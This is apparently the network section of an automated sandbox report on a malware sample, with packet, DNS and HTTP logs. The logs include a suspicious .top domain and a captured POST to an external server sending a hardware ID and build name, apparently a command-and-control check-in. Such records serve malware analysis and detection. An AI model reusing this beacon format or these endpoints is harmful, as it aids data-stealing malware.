Nov 20, 2024 16:52:05.435545921 CET	443	49907	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.435621023 CET	49907	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.435746908 CET	49907	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.435759068 CET	443	49907	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.650990009 CET	443	49902	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.651156902 CET	443	49902	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.651258945 CET	49902	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.651361942 CET	49902	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.651407957 CET	443	49902	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.651438951 CET	49902	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.651456118 CET	443	49902	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.654292107 CET	49908	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.654334068 CET	443	49908	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.654480934 CET	49908	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.654654980 CET	49908	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.654675961 CET	443	49908	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.908488035 CET	80	49903	185.215.113.43	192.168.2.9
Nov 20, 2024 16:52:05.908685923 CET	49903	80	192.168.2.9	185.215.113.43
Nov 20, 2024 16:52:06.700284958 CET	443	49904	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:06.702317953 CET	49904	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:06.702347040 CET	443	49904	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:06.702841997 CET	49904	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:06.702847958 CET	443	49904	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.058660030 CET	443	49905	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.062275887 CET	49905	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.062298059 CET	443	49905	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.062796116 CET	49905	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.062800884 CET	443	49905	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.148339987 CET	443	49906	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.149055004 CET	49906	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.149077892 CET	443	49906	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.149633884 CET	49906	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.149638891 CET	443	49906	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.158487082 CET	443	49904	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.158550024 CET	443	49904	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.158705950 CET	49904	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.158956051 CET	49904	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.158967018 CET	443	49904	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.158977985 CET	49904	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.158982992 CET	443	49904	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.162395954 CET	49909	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.162440062 CET	443	49909	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.162554026 CET	49909	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.162748098 CET	49909	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.162760973 CET	443	49909	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.300803900 CET	443	49907	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.301623106 CET	49907	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.301650047 CET	443	49907	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.302171946 CET	49907	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.302177906 CET	443	49907	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.382067919 CET	443	49908	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.382960081 CET	49908	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.382986069 CET	443	49908	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.383358955 CET	49908	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.383367062 CET	443	49908	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.417146921 CET	49903	80	192.168.2.9	185.215.113.43
Nov 20, 2024 16:52:07.417582989 CET	49910	80	192.168.2.9	185.215.113.43
Nov 20, 2024 16:52:07.538784027 CET	80	49903	185.215.113.43	192.168.2.9
Nov 20, 2024 16:52:07.538811922 CET	80	49910	185.215.113.43	192.168.2.9
Nov 20, 2024 16:52:07.538913965 CET	49903	80	192.168.2.9	185.215.113.43
Nov 20, 2024 16:52:07.538966894 CET	49910	80	192.168.2.9	185.215.113.43
Nov 20, 2024 16:52:07.539208889 CET	49910	80	192.168.2.9	185.215.113.43
Nov 20, 2024 16:52:07.584850073 CET	443	49905	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.584949017 CET	443	49905	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.585011959 CET	49905	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.585239887 CET	49905	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.585253000 CET	443	49905	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.585263014 CET	49905	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.585268021 CET	443	49905	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.588787079 CET	49911	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.588834047 CET	443	49911	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.588912964 CET	49911	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.589344025 CET	49911	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.589359999 CET	443	49911	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.591402054 CET	443	49906	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.591484070 CET	443	49906	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.591588020 CET	49906	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.591679096 CET	49906	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.591691017 CET	443	49906	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.591701984 CET	49906	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.591706991 CET	443	49906	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.594311953 CET	49912	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.594353914 CET	443	49912	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.594567060 CET	49912	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.597717047 CET	49912	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.597732067 CET	443	49912	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.659784079 CET	80	49910	185.215.113.43	192.168.2.9
Nov 20, 2024 16:52:07.739090919 CET	443	49907	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.739167929 CET	443	49907	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.739238977 CET	49907	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.739516020 CET	49907	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.739531994 CET	443	49907	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.739552975 CET	49907	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.739558935 CET	443	49907	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.742758036 CET	49913	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.742811918 CET	443	49913	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.742903948 CET	49913	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.743065119 CET	49913	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.743077040 CET	443	49913	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.816709042 CET	443	49908	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.816876888 CET	443	49908	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.816972971 CET	49908	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.817214966 CET	49908	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.817234039 CET	443	49908	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.817267895 CET	49908	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.817275047 CET	443	49908	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.821368933 CET	49914	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.821427107 CET	443	49914	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:07.821522951 CET	49914	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.821687937 CET	49914	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:07.821702003 CET	443	49914	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:08.945699930 CET	443	49909	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:08.946583033 CET	49909	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:08.946611881 CET	443	49909	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:08.947020054 CET	49909	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:08.947027922 CET	443	49909	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.024494886 CET	80	49910	185.215.113.43	192.168.2.9
Nov 20, 2024 16:52:09.024763107 CET	49910	80	192.168.2.9	185.215.113.43
Nov 20, 2024 16:52:09.029320955 CET	49915	80	192.168.2.9	31.41.244.11
Nov 20, 2024 16:52:09.152908087 CET	80	49915	31.41.244.11	192.168.2.9
Nov 20, 2024 16:52:09.153036118 CET	49915	80	192.168.2.9	31.41.244.11
Nov 20, 2024 16:52:09.153290033 CET	49915	80	192.168.2.9	31.41.244.11
Nov 20, 2024 16:52:09.273307085 CET	80	49915	31.41.244.11	192.168.2.9
Nov 20, 2024 16:52:09.399240971 CET	443	49912	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.400079966 CET	49912	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.400127888 CET	443	49912	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.400620937 CET	49912	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.400635004 CET	443	49912	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.401272058 CET	443	49909	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.401345015 CET	443	49909	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.401417017 CET	49909	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.401591063 CET	49909	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.401607990 CET	443	49909	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.401618004 CET	49909	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.401623011 CET	443	49909	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.405121088 CET	49916	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.405160904 CET	443	49916	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.405448914 CET	49916	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.405448914 CET	49916	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.405481100 CET	443	49916	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.407361984 CET	443	49911	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.407793045 CET	49911	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.407809019 CET	443	49911	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.408268929 CET	49911	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.408273935 CET	443	49911	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.541055918 CET	443	49913	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.541810989 CET	49913	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.541865110 CET	443	49913	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.542282104 CET	49913	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.542294979 CET	443	49913	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.597305059 CET	443	49914	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.597943068 CET	49914	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.597976923 CET	443	49914	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.598490953 CET	49914	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.598503113 CET	443	49914	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.852437019 CET	443	49912	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.852509022 CET	443	49912	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.852572918 CET	49912	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.852921009 CET	49912	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.852937937 CET	443	49912	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.853172064 CET	49912	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.853178024 CET	443	49912	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.856414080 CET	49917	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.856463909 CET	443	49917	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:09.856556892 CET	49917	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.856719017 CET	49917	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:09.856738091 CET	443	49917	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:10.056906939 CET	443	49911	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:10.056992054 CET	443	49911	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:10.057101011 CET	49911	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:10.057404041 CET	49911	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:10.057426929 CET	443	49911	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:10.057437897 CET	49911	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:10.057444096 CET	443	49911	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:10.061240911 CET	49918	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:10.061331034 CET	443	49918	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:10.061450005 CET	49918	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:10.061639071 CET	49918	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:10.061675072 CET	443	49918	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:10.146183968 CET	443	49913	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:10.146254063 CET	443	49913	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:10.146431923 CET	49913	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:10.146923065 CET	49913	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:10.146939993 CET	443	49913	13.107.246.63	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 16:50:33.633378983 CET	192.168.2.9	1.1.1.1	0xe0b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:33.633703947 CET	192.168.2.9	1.1.1.1	0x3306	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 16:50:40.805372000 CET	192.168.2.9	1.1.1.1	0x64e9	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:40.805502892 CET	192.168.2.9	1.1.1.1	0xa901	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 20, 2024 16:50:44.846515894 CET	192.168.2.9	1.1.1.1	0x4477	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:44.847299099 CET	192.168.2.9	1.1.1.1	0x93ad	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 20, 2024 16:50:47.356527090 CET	192.168.2.9	1.1.1.1	0x570d	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:47.356774092 CET	192.168.2.9	1.1.1.1	0x5985	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 20, 2024 16:50:47.784162998 CET	192.168.2.9	1.1.1.1	0x1260	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:47.784368038 CET	192.168.2.9	1.1.1.1	0x818e	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 20, 2024 16:50:49.673100948 CET	192.168.2.9	1.1.1.1	0xd80a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:49.673413992 CET	192.168.2.9	1.1.1.1	0x2d4a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 16:50:49.673744917 CET	192.168.2.9	1.1.1.1	0xdc74	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:49.673918009 CET	192.168.2.9	1.1.1.1	0xc870	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 16:50:49.688046932 CET	192.168.2.9	1.1.1.1	0xd01a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:49.688376904 CET	192.168.2.9	1.1.1.1	0xc3a6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 16:50:49.983360052 CET	192.168.2.9	1.1.1.1	0x8698	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:49.983474970 CET	192.168.2.9	1.1.1.1	0x948a	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 20, 2024 16:50:49.991641998 CET	192.168.2.9	1.1.1.1	0xf9	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:49.991785049 CET	192.168.2.9	1.1.1.1	0xb84b	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 20, 2024 16:50:50.139251947 CET	192.168.2.9	1.1.1.1	0xe4ac	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:50.139372110 CET	192.168.2.9	1.1.1.1	0x16d8	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 20, 2024 16:50:50.284192085 CET	192.168.2.9	1.1.1.1	0x835f	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:50.284363985 CET	192.168.2.9	1.1.1.1	0x9ac4	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 20, 2024 16:52:26.300043106 CET	192.168.2.9	1.1.1.1	0x38e9	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:52:26.300110102 CET	192.168.2.9	1.1.1.1	0xbab2	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 16:50:33.771073103 CET	1.1.1.1	192.168.2.9	0xe0b	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:33.771296978 CET	1.1.1.1	192.168.2.9	0x3306	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 16:50:40.943862915 CET	1.1.1.1	192.168.2.9	0xa901	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:40.944324017 CET	1.1.1.1	192.168.2.9	0x64e9	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:40.944324017 CET	1.1.1.1	192.168.2.9	0x64e9	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:44.986056089 CET	1.1.1.1	192.168.2.9	0x4477	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:44.986407042 CET	1.1.1.1	192.168.2.9	0x93ad	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:45.434335947 CET	1.1.1.1	192.168.2.9	0xe29c	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:45.434335947 CET	1.1.1.1	192.168.2.9	0xe29c	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:45.434809923 CET	1.1.1.1	192.168.2.9	0x1d54	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:47.499151945 CET	1.1.1.1	192.168.2.9	0x5985	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:47.500101089 CET	1.1.1.1	192.168.2.9	0x570d	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:47.921480894 CET	1.1.1.1	192.168.2.9	0x1260	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:47.921480894 CET	1.1.1.1	192.168.2.9	0x1260	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:47.921700001 CET	1.1.1.1	192.168.2.9	0x818e	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:49.815427065 CET	1.1.1.1	192.168.2.9	0xd80a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:49.815427065 CET	1.1.1.1	192.168.2.9	0xd80a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:49.816154003 CET	1.1.1.1	192.168.2.9	0xc870	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 16:50:49.816211939 CET	1.1.1.1	192.168.2.9	0x2d4a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 16:50:49.816224098 CET	1.1.1.1	192.168.2.9	0xdc74	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:49.816224098 CET	1.1.1.1	192.168.2.9	0xdc74	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:49.829075098 CET	1.1.1.1	192.168.2.9	0xd01a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:49.829075098 CET	1.1.1.1	192.168.2.9	0xd01a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:49.829668999 CET	1.1.1.1	192.168.2.9	0xc3a6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 16:50:50.133830070 CET	1.1.1.1	192.168.2.9	0x8698	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:50.133830070 CET	1.1.1.1	192.168.2.9	0x8698	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:50.133830070 CET	1.1.1.1	192.168.2.9	0x8698	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:50.133830070 CET	1.1.1.1	192.168.2.9	0x8698	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:50:50.133842945 CET	1.1.1.1	192.168.2.9	0xb84b	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:50.133866072 CET	1.1.1.1	192.168.2.9	0xf9	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:50.280113935 CET	1.1.1.1	192.168.2.9	0xe4ac	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:50.359338999 CET	1.1.1.1	192.168.2.9	0x16d8	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:50.421344042 CET	1.1.1.1	192.168.2.9	0x835f	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:50.422226906 CET	1.1.1.1	192.168.2.9	0x9ac4	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:51.620693922 CET	1.1.1.1	192.168.2.9	0xe61e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:50:51.620693922 CET	1.1.1.1	192.168.2.9	0xe61e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:52:27.368993044 CET	1.1.1.1	192.168.2.9	0x38e9	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49707	185.215.113.206	80	1556	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:50:24.466458082 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 16:50:25.900122881 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 16:50:25.903814077 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 46 32 43 38 30 30 32 32 41 46 32 38 31 32 36 33 31 37 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="hwid"3AF2C80022AF281263175------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="build"mars------GIIJEBAECGCBKECAAAEB--
